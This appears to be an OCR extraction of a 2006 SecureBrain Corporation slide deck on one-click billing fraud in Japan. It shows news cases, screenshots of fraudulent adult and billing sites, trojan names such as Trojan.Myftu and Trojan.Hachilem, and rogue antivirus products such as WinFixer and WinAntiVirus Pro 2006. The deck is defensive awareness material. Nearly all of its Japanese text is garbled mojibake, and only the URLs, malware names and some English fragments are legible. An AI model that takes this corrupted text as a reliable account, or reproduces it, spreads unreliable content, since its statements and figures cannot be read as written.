¥ URLTAILZ) T TR Y AN EEFRISE A0
* H—/EIRAEZFEA I HFICKY BEEFIARYICEAENGOEZHE
EAC IS

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



29y DFERRE(E

@ TR AL WebR—JHDEEOYIE 5 ) yo LT
Fl CHEEERSINBIEE K - N EFKFHRO—FE
@ [Ty EEER IRV )yOANESEKR ] D095

ZRZOESR | L[N BT ELH S
@ T,
THFONMEZTND, BEBERKBEDRRETIZHREAENY

)% 2

H

BERET )T T HEREZARLZERBEERT

FHEMD Y=V IEEIREMIEN D ZEN D D,

S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



D209 VERRDIEE K

@ PAIZEFEONE=TUI)YIFEER DX B

200
180
160
140
120
100
80
60
40

20

Apr-05 May-05 Jun-05 Jul-05 Aug-05 Sep-05 Oct-05 Nov-05 Dec-05 Jan-06 Feb-06 8
TO—FN\UR#HERES FHEERIAUSAUEROER) IPARKREH LY
Copyright (c) SecureBrain Corporation. All rights reserved. SecureBrain



20Uy OFEREH (1/2)

* [DU0)y IR THREEZEFELER-ZELT. HEFEREEGF/H. RR#EBF
HXHTH. EXRER —KBEEE (D)0 AZFRORBNTRFLIZER
FLI=, BEIIRFEFLETHNA0HE., REREIEH28005HICLEHEHT
LN,

* RYNERZEDE FHF...T00 )y UFERALEE (YOMIURI ONLINE, 11/8/2005)
http://www.yomiuri.co.jp/net/news/20051108nt03.htm

® TEINTANDBIEE—EV )V ILEETTARDORNELZEBHESIT
)T ANEFIAL, €EEELRSEL T RENENATUIBEX
REREFOH. FAMDOVINERELZEMNHOIVE2—2—VIMNERS
HARETIIETEERE (38) 02 NEFFRABR TEMLIZ, YA(MEEEL:
FILEEHMOKHARHEIILEAREE (34)060 N(AEEERBLKET
E)LFFRAR THRF IS8, HIBRELILTHICHEABDA—IL
ERRTELSHITEEL. EERUIE, 3S0BEREDH 1000 AnBETHH
5000 HZEIRYIAET E TV =L,

@ TUY)IFEER VIMNEREZREHOER (YOMIURI ONLINE, 7/6/2005)
http://www.yomiuri.co.jp/net/news/20050706nt06.htm

S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



D20y OERREH (2/2)

¢ THINFANERRALEIDU )y ORI TEEZRLE>=EL T, FEHR®
FERILRAUEEERGEDRICH DN -EERTOTS KR ESH T AW
FQDIZ. RE#MEIF128., &&%24., 51€100 M CRFIZ®ZILE. g€
100 DHIREEVELZ, BBFTHEEDEANDETHI65 T HEFER,
F#OFOTEF3100FHRDILFENEZ MM ARBREDAREIZIRVIATET=,

@ 7)) IFERIZER——31005MHEEZF£LES (NIKKEINET, 4/12/2006)
http://it.nikkei.co.jp/security/news/net_crime.aspx?n=NN001Y452%2012042006

SecureBrain

Copyright (¢) SecureBrain Corporation. All rights reserved.



2OV OEROFAQ (1/3)

@ TV TERRYAMRDEBHRCI IET )T Bl R
T ARLEREEARRSND

Microzoft Internet Explorer E
2)
- D 188LA LT3 7]
AT IBIE

St FBRE AL N, B T W E R E ATEN ST,

18 FOEESEDCFIRTR T AD TN CEERED &,

5 Bl A 2 AEEIE G ol T o3 F—F A S DITEO0) Ehisl.

Fi LD ) DD, BEERAELTENF O THERE LS FE0N,

Perfect! &W Online Theatre 7F. H—ELECSNT Perfect! AV 54 0 TR -—EFEEMER EETSH—E2

o3,
& S E AR NEOMMIEE, T, 2SCN18ERE0FOASRURIFEE ST,
T —E A%k FIF AR 1 FEATE L el E N2 A0HOKEIFLT F&lt
- ERERR AR PEILF T 3 COKE S Sl (N3,
BT AR s CHERIRE L33,
PRLIRL A0 e,
AZLEEETTE)| B R ST R S EEN TS EA.,
iy i ot il SR
NS EELTHE T F L
PEIE0ASER Tl Lo FEFIBERH A S MAETL, A S LIBTE(

B0 S e E REEOSE A . E TR B R B T B RS,
e S B e

Bl A RS LEL T, EE R R AR DEHOEL2T,
SEREEL, v eIl e B LT R,
o CHFIFRES TR BRI L TR E 30 T hP?J[L}xéﬁi“[L[IJi‘g"jlﬁiﬂ#’]&s‘: BB,
AV LAOS HE B cOU S TOMRTh TR s = Bl IaEL Y.
EEETEL TS, Ik, B, HEHTEI s aLb0ELET,
A - IR ey e R e
0 —E2OF R EE R M A B2 T BN LT,
FHCHETH L B S TR L AL

ok [ Fet |

Copyright (¢) SecureBrain Corporation. All rights reserved.

S

SecureBrain



ooy HoFERROFO (2/3)

¥ PCHNMSEABHREWNEL TWBEIIZRZABHFE (T A—3
> GIFFlash) &3 7R

A O'toso! % JF Bhif - Microsoft Internet Explorer

Eile Edit ‘jew Favorites Tools  Help

@Back - \_/I |ﬂ @ :j ,..-":j Search “Ej:r’ Favarites

Address QE[ http: ffareenparadice, comf002 /037wy

A 1P 7 ELAERBAATUET X|

A —w—ma—H—tEeERELTLET,
LIS <h B e E .

518043 :

B30 AR

NNRRRRRRRRARRRRARRNARRRRARRNAENE
04

AA =GR 2 —F—EEOmBFETLELE

o ]

g;

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



o)y oFERROFO (3/3)

@ BEFHEZTETOR—JIZIFIPFRL AR TONA A LI EE SR
KL BAANEEETETCOBISICEES

2 http:/hwww. jet1515.com/memberfindex. php?act-3#&sa- - Microsoft Internet Explorer

. File Edit \Wiew Favorites Tools  Help ﬂ'
@ Back - \‘_.)l @ @ \_h p Search “Ej‘\'g-‘ Favorites @ E:rji{ - .,:;,, E J ﬁ
| Address |@ ikt f e, jeb 1515, comyfmember finde:x, php?act=3sa= V| a0

CERAUDEASINGT

CERBMEASTFRENTTHLELE
SERB&L - MRICTEEDEY 45.000% &iimdd TX0)
CHIAAAMIZ 180BMTY HELHTII)

_ [ ra@y

—=8#H I 2005211 AMAE J

#E-HIMAE I 2006511 A018 07653655 | o

—¥IHH I 2005211 AMAE J

i dIPFFL- L r ]

Bl OUE—FHZF | T YahooBE bbtecnet |

ik MOIi45 I Yahoo! BE | S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



29)9DERRY A M

A DAY, BENE(ELDASAA69.com — Microsoft Internet Explorer

JpfE REER Tl BRICADGE WD AT

OF-Q (¢ @ & LPr= desrw @ = B

FELALD @ http:/fopdaisukicom/

g U0 7

AXBYE oS\ — R FSE! -
Haad
B{SETISSNB
- ..
LEAVE
S FIsEREDFIR IS TR E T,
SAFIRREIERSES T - T FIREAL
5
(ChA = ) 60 w
&) -UnETEShELE © Ah—Fub S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



D20)9ERR Y A2

A NAENES - Microsoft Internet Explorer

B R/EE ®HTA BRCADE LD ANFH

Q- ©- X @A G L feomw @ 2- LB B

FELAD :@‘l http: v vy jp A top php?

‘“ ’_.rf“

name : 292

name : ‘74 name : 21%
age :20 | age :21 : age :19
B:86 W:52 H:88 i

B:88 W:60 H:90

name : A+
age :20

B:82 W:56 H:B5

B:B4 W:54 H:B6

=& IS - Mi

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



290)9DE R Y A3

<} #>7 L& — Microsoft Internet Explorer
ZrE REE FTW BRELADE W@ ALTFH

O= O ¥ B P derncv @ R & 3
J—"Fb?\@)@http:ﬂwww.ee-sample.comf v #%ﬁﬂ sk 22
Tt L o (5 | L = - _ L
A — TS ! i | 2rFITET
[ 16 fomanen I
o LT e [ 17 fmmgen | wres
PTinp) (D Fe -
ey |
H—L ABEB | 19 BsTrai Jl. el
: ; [EA TE S [ Feil
sy [ mamss

i ES ﬁ' '('ggﬁ).l;lél.l 1 J'j‘—Jl/X}ﬂ%ﬁg

2185

- o Gl % I !
s T = R H—ILZ R
: 30z T e

Rl 1o | H-zmEs
‘2 6003500 M 600500 | | O e Tt LT e P
3 D oy T r -
, JPEG JPEG e e AF=—/723

Y AR e |
Ef. S S T O -t —r i ;
B it - o e s T

600X 500 & GODXE00 il Bl
3 - 3\ i BT (0 Ho L X 1BEE
o Bosio ot atYa «Hoa-p SM- S8 DrFITIT

AAZAGRL T AAAAGEL ] EREa=s [ Zzxre=r

-1 T A THIB L) \d v as Foe R R

4
& ® 8—fat

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



D29') Y RERY MM

3 charming eirl — Microsoft Internet Explorer
JrLE REER FTOA BRLEADE VLD A

v By o

o ot

S 4 charmine gitl - Micro.. %, 4y 06 S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain




D OYEERRY AR5 (1/5)

@ FEAEDTUHD ) OFEEH ANE T X IILNE{ECE B E T )Y
SEBREDEN, TRt TR ILNFANAANDT 5 )y HEER A
NMHIELTLNS

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



D OYFERRY AR5 (2/5)

) RFSEEIET A | Profit Money — Mozilla Firefox
eI REE RTW BEghE edw-hE W-lD ALTH

- = @ @ @ [] httped Aomens profit-maoney nets v | © %380 |[GL
@ flibds Bl BEza-2

BIFH2EMEY 4T

Profit Money

HElzowT

S

Copyright (c) SecureBrain Corporation. All rights reserved. SecureBrain




D OYFERRY A5 (3/5)

-' 3 S EEHEY 1 Profit Money — Mozill: .' B_E'@
L orLE REER FTON BEE Feby-0E v-D ALTH

= - = é?;j E—_’D |]__r\l_"-lp [ [ kttpe/ o profit-money net/” v| @ iz&h |g'
| @ s> B B#im1—2

BIFoHEMMy 1 b

Profit Money

| . LOGIN

[

http://www.profit-money.net

| SRR

IR TS, OKERIEN IS0 To0H B F I ST L L. Bz 430000 E 2
NET. . A -EANEDEREFEIENEE A B SORMOPRRCETEOELET. 0RO
3. PR IEIR 0T AT, FIRRRMDOERL-E T B S L3 .

G AT LA I

CMmiEHE TE S FTICENDIThIE.
M FTETERIECHE TORF2E

DENEN DT LT

FHOSHBE T 000 HE oo0o0oH%E

SORMES

- EES,miAmBEEE S
| javascriptocheck Regist(

Copyright (c) SecureBrain Corporation. All rights reserved. SecureBrain




2 9VRERRY AR5 (4/5)

3-8 8P - Mozilla Firefox
eI REE RTW BEghE edw-hE W-lD ALTH

<::I = E:> = @ é’h L—.{_‘CE [[] kttpesSomem profit-money net/loginhtml v| @ w38 |[GL
& Fohds Bl BERTa—2

@ o LYRAMU—FRERERET T—AR—ZA~NDEHFTT
9 W REAEZLVRM -HEREET 244 ASABET

@ E FIUT— s RERERET HiT: ..

@ @ Nn—FF AT EBRETT IFRF RS : 31

S

éopyright (c) SecureBrain Corporation. All rights reserved. SecureBrain

il
._‘J




29V RERRY A5 (5/5)

) SHMM5ET — Mozilla Firefox
PR REE FRTW EEGE Jebw-a@ w-lDm sH

<::I - - @ é’h L—.{_‘CE [[] kttpes Somam profit-money net/regizt php v| @ w38 |[GL
& Fohds Bl BERTa—2

S

éopyright (c) SecureBrain Corporation. All rights reserved. SecureBrain

il
._‘J




29Uy (1/3)

@ D)0 TR, FEERSAMDBER L) IO )y TR I A—
RSN, BT T DERDESIBEEEITD
¥ A—LTRLURR AL LG EDFREINEL THERIZESE
® BET7H I ANIBEFRICES
@ TIIVHDARI—IR=—VEEETDH
¥ FRLRRAD A—ILTRL A& EBHES
¥ TAIMNTZEEBRE(TFARNT7AIL) TR
¢ EHMICFIAMEOZIWERTAVE—CFERRT D

@ Trojan.Alexmo, Trojan.Sokiron, Trojan.Snines, Trojan.Hachilem,
Trojan.Aemonet, Trojan.Gurepirls, Trojan.Myftu,
Spyware.Sesui, Adware.Movittone, TrojanBinjoZaEFE 2R
SNTWS(E U TYIDTAILXIFHKY) S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



ootz 7 (2/3)

@ BBROIIED)VIT BE TRT S LEAI O, BEB
FFIETTOT I LZRITT DL MITTINS,

R
3 . e
=== - S S e (e
o e BFE 7ot ABBROE D0

trda ) TrF o E [T
£ TR<

e Firw - PATRGBTE =
. g mmim
SR TETE WG S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



29Uty 7 (3/3)

E,EHEI’JL%Iﬁﬁﬂﬁd)i?u\%fﬁ'd"%u—lz CERR

u $%ﬁ¢%ﬂ%_
g3 o0 B TE
*1'3-: pEISEER DT

-“ﬁﬁ{F%f__éu

COCEREEL, TOATI oL TR e LBEE B LNT ST,
St ML ARCESETLISEFABR AU (RS L TIERONAY LT
C{ERIENE R L TENZ S Coan-Y o SRBLTENES,

AEOEE IR 35S, BN AR AN -FiRTENE S .
EMAAD —FE FEROAAT - AN RS — LI ATILT Passwordi 2%
Sl ALT R COBEEE Frd N bnEd.

L o TG S AEFIRRATEE RHIEID. A - FFTERD S EEE0,

T y 4

| Paszword ' ﬁﬁ% |
E-mail : support@uyu-channel com S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



HYH 7Y A

A FTRBABOHBEE =Y WEF KL - Microsoft Internet Explorer
e REE FTAW BREADE  U-LE ALFH

@’?‘5 T \J \fl \ / D kf- BRCAD &4 ,:___.':fv _?_ 3

FELAD & I_ http:;’;’caribbeanbom.comr"

%ﬁﬁkﬂﬂ)!ﬂ@!ﬂia 2k 4’ f'-

.00@@275:?@

ribbeanbom.com/

it R, o LT
v S ] o

El SPECIAL MOVIE

= EHERI
~
OVINDT—FIVa/ERLT. XRT =
Ei-mFE—F | LEE+TOPSHEe
A FEADMH TIENELNEREER
FTITE EAEABEA NG OERD
TuF|Ta TET . P3Use A, BE
BNE-TLEF-FIOTIZ AT Mm
Fﬁﬁ_m’&ﬁ?ljfbiuiﬁ' L

—UiiETmENFELE o ot

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



DOz F7H A2

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain




Do) 7 DK

@ BIUIIITT DL EN VRIA7ADTA I AT —HAR—
Z(http://www.trendmicro.co.jp/vinfo/virusencyclo /) &% &

R AR—CTREER (20064821 H2 1B IR 1)

TROJ_HACHILEM (B/D/G/L) /6
TROJ MYFTU (A/B/F/G/H/1/J/K/0/P/Q) 1700
TROJ_BINJO (B/J) 102
TROJ_SOKIRON.A §
TROJ_SNINES.A 21

S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



{FXYTh

@ VAINARRINAJTTIZREE ST H(LTLD) AIREE N H D EL T,
XA TRV INEATO—RIELSET D

@ BEREAVO—RR, BERZEATLHILOICLOIKAYtE—
VHERINT D

@ WinFixer (http://jp.winfixer.com/) X2 WinAntiVirusPro
(http://jp.winantivirus.com/) 7 E M 5

¥ Bogusware(Bogus+Software) LML ENBZENH D
@ BogusldkMaD 1T F XD THEBEL AU  THERR T

S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



F0 (1/4)

@ WebHANMNF—REDFHATESHEND

@ I)—D7 XA I 2 (Nedstat) ZREL TLNDISEICR RSN DATRE
DB

A Funny Videos. Funny Pictures, Flash Games, Crazy Movies. Funny Jokes — Microsoft Internet Explorer

FrE REE FRTN BRCADGE U-D AFH) 3

O - O @G Pus owmcn @ - BB

FELAD &) ttp/ plethcomd v B fsan b

: WEL T % Ty
an Ati S bl

‘ A MV Vg, WIS ELELE

.aam

|
Wain Content movuies/uvids | animation | picturec | games | lest | cubmil now
Funny rmovies/videos
PIsThx Movies & Yideos LAST UPDATE: 2006-05-23

Anirmation

Funny pictures FILTER MEWEST | FUMMY | SPORTS | CRAZY | WTF? | MISC
Fun gares

lokes central
- : ; | Chicks on extacy
Subrnit a link '“

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



F0 (2/4)

@ NFT—FD)ITBETAINREEDRY T TV T I4RIER

REE FTO BRCADGE =D oagliH

@ KRG Pe=doemn & 2B 8

I]http:,-":"pl "":.SE-[:IJrilj" Update — Microsoft Internet Explorer |;|@|E| e

= 1], u-: AEEE | El T 0 BSIC .\i':-'m (if] --Jl.-:T‘ -.,||."-'{u'-

Or- O B E G| O frmm @3 5= B
L6

FrLAD @http:x’:"amaena.u:omfsecuritywu:urmEx’jpf'?aid=fast?ﬁEJ'pja&Iid=run&h=&|:u=|:| b ?5@:'] Lz, 2

Content
moviessy
tion
pictures
— Microsoft Internet Explorer

central

S BEMELLENE L P L A BER LV BB RSN S L AR Backtera Vinus |BEYARSC B 17
e a link : AT =D RS- KRR BIhL AT, BRERA. R IF -T2 AT D - R B0 B

some il

rechies

! S
ty Online

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain




F0 (3/3)

@ EXA)TARERVIMNDEAZT ITHB

3 Security Update - Microsoft Internet Explorer =] X

pAILE REE FTA BRICANE w-@ A7 H w
= N ( (W ; . A

O - O HEG Pur desrn & 3B

FEEAD |@ hittpe/ famasha.co mSsecuritywar mB.jp Faid=fast 768 _p_ja&lid=rondh=8b=0 V| fegh U P

.

M\ Protection Center
KT ERET HBICEALET

E'EU)J‘:‘):DIEU?'TT"??'D#‘—h]lCﬁﬁEEth%ﬂ%}ﬂS)‘JiTo CHOEFAUFT M a—2aEERO0-FFam

210.196.68.83
TJoH: Mozilla/4.0 {compatible; MSIE 6.0; Windows NT 5.1; S¥1) - W3Z.Mytob.PX@mm
JsFP1—%»0s: windows XP - W3Z.Browsesafe
. - . - W32.Browaf
PN W T Obtained - W32.Naras

Japan, Kita - Symb0S.Stealwar.D

vy (RS mae |20V YFTROAY e mR7eIT - MRt

WiﬂAﬂ ﬂ.zlgig‘ys P RO ! N B 10410 =N 10410 13,1

mn A'n ﬁsp}'“{)g OIG‘F . [0y En B 10410 L 10/10 130

&) N -TiETENELE o 1E-uk S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain

||




F0O (4/4)

@ AA—
FIR9 5

FrANoa.0—F - PXalsnEd

COIrA WESRI TR FFLETM?

BE WinAntiviruePro2006Freehstall_jpexe
1E58 FHUIr—ian, 78T KB

(S downloadwinantivirus.com

BEEEIEEEEER R ST

T, 07 LOFEET TP B
AHSEETERL B AT, COVINITPER

O PEEITLET
Ha WinfAntivirue Pro2006Freehstall_jpexe
FTT— WinSoftware Corporation, Inc.

eI T

BT 3 DFRTO) [

SRV TR TEXR ) T353R

9 T e O Ny W1 R P = A g BTN - W et PO 1 - i TP D -1
PG ET . (588 AR TIO T M TP Q. S TL TR fabE PR qEgEH

COPYTIENT (e Securepranrcorporatom. Rl rights reserved.

JIMDA AN—IL %

* WinAntiVirus Pro 2006 422 F5— [$_<|
FF 0TS AL T2 [SWin Antivirs Pro 200654
e DeA—F - 2= LT LRI T AL SRR R
— AT ST, EE Do RE LT T ET .

* WinAntiVirus Pro 2006 72 k35—

=T

A0 —Fdr: WinAntivieus Pro 2006

]
Ao0-Faa3: 144 KE §E 8% a3
b £ O e 457 ME DB 16:17

SecureBrain



WinAntiVirusPro 2006 (1/2)

&3 WinAntiVirus Pro 2006

WinAntiVirusPro 2006 [T BE 28

AX v EIT 61%5¢ 1 e
ERPOIFTVE - BEAFY A¥vvEITTOFH
CEWINDOWS ¥ system32¥dllcache¥rdpwesy.dll o xhE SR 0
ER RN EREREC R S SR 9

B SIE B 0
(b ' AP M
T L B 0

AT LOPLEELEDLA:

#E1B LI B3R 00:00:23

?D;MH'S' [@' "ﬁr‘“?hlt] Iﬁ Tk ]
P——

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



WinAntiVirusPro 2006 (2/2)

o HEBEAR—T

9 £ H.i3v4—3F - Mozilla Firefox
JrlE) REE FnO)  #BEhE debv-hE -l AV THH

@ o [lr> - %‘ O @ @ ||_| https://securewinantivirus com/epay ment/op: (2 V| D #&h |‘.l.’?,r |

@ (Fuhds L) BEZ1-2,

=S B AT I il 8 LA 34
WinAntivirus Pro 2006 - T FR 14, FLFEALRL FrAT O =, ToFRy I 9 Fid

¢ E\wrna.nmmﬁn' &
2006 O 1T B S T TO% L EFET g

g = G —ERERgE 4999/
O WinAntivirus 2006 - PoFdcl 288 o 0I0 L AISHTAREOE 3999/ 0
2R
O WinFirewall 2006 - #7747 2 -1 suh— EEEOEAISHLTUFIL 3999
HALIREES AT,
O ‘-:'r‘u’igﬁlntiﬂgyware 2006 - 254cF — FE P -7 Owvh—  &HEDTS 3999
MR -ERALET
O WinFPopupGuard 2006 - PLFHFFuF  EROEGTFOF T OuE D 2599 )
AF L TDH T FOIEL DS T, !

Copyright (c) SecureBrain Corporation. All rights reserved. SecureBrain



WinFixer 2005

" /% WinFixer 2005 - sk SR

[ WinFixer
| 2w |4 )
% WinFixer 2005 - > =il Lt — |- AxyE—F DATLAKw
Axyiah;
R34
[ WinFixer ] Lih—
Ayl TP ET TS AEyENEZ7A ]
b ¥ X ' :00:
[TA=F |« | | ) 2 mite0r ARERoM0ELE SRR o008
BA =B E TR E EE N ELE)
w[v] (SeolBEmhGIRE (1R DR0E L] [ EEEEE ]
] (2e{E@EG AR TR oMIELE
Hv] (UHEDENGTAR IR m0E L)
Hv] (HEDENSGEB IR ONELE

Copyright (c) SecureBrain Corporation. All rights reserved. SecureBrain



20"y D RERRR K

¥ BLWHANZT7 AL

@ Vo 0HEZZIZI )y ILIEN

¥ TP R0SHEEERMELEN

@ BEHONNYFEBEAL, EX )T 4R—ILOEREEIZT S
S TUFIAIWNROTUFRIAITTIREEIELLFES

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



F=EH

¢ ¢

¢ ¢

BAEBENBRNBAIN, EERNLTEZTERDIENDHD

&8 BRIDFEHRICIL., TAIIL REEDLSIZHE M hEFERLEVDENRIE T
BABEOTOADTFREENT L, TD=8, & AV I/VFROFOFE
TEITIHIWIZE>TLKESS
FEINENEHIZEA—Y—DtEF 1T BHROR LHANETHD
RILVITITIZBASINTLESEREDH S, @HBEECTIANVDEER
ElZD7EM B

RILIIFIZIFSES TR AATHFEET D, TNLIITINT DITIE, EHD
Xt R EMHAEHE=AIZIERR

[MELWLHANZT AL TERLWSAIDS T 7 L&A O—RLA
BREBLDITEIERHITHELER
WEICEDLEBEWNE=OICHFOFOZXMPIEIIEE, FOEMB_ETESS
I BDNEEZDENTED

S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



CECRLE

)y oL TREERSIN=I5E DX IS A EIZDWLTUPA/ISEC,
8/16/20006) http://www.ipa.go.jp/security/ciadr/oneclick.htmi
ERITFERDOYAN—IPREORER VHEHAZIHIRK N FICOWNT(ERT,
2/23/2006)
http://www.npa.go.jp/cyber/statics/h17/image/pdf28.pdf

WEKIL Ty VT FEERICEZEEIN G E=HIZ(@IT, 12/25/2004)
http://www.atmarkit.co.jp/fsecurity/special/54phishing /phishing.html
Tay VT FEROFOLFIR] ANYEEMOIANEBAEHLEDETy Y
JERER(@IT, 6/22/2005)
http://www.atmarkit.co.jp/fsecurity/special/65phishing /phishing01.htmi
PEEFEELTDT VI VTR EHENO— TN TV T FEHD
FO&EUTmedia, 3/16/2006)
http://www.itmedia.co.jp/enterprise/articles/0603/16/news003.html

22— DSecurity Watch(B#ITpro) S
http//ItpronlkkelbpQQV}Q\/(WQ&QE}W%M%laaIWtaVZsUﬂldiexhtml SecureBrain



CHREHDYNESITTNELE

kXt ttXa7IL1>
JUN\IIV ExX2) T4 TFURR
FFE M=
yuji_hoshizawa@securebrain.co.jp
http://www.securebrain.co.jp/

SecureBrain



